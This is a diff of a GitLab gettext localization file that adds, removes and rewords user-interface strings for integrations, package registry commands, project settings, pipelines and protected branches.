msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr "Geopend"
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
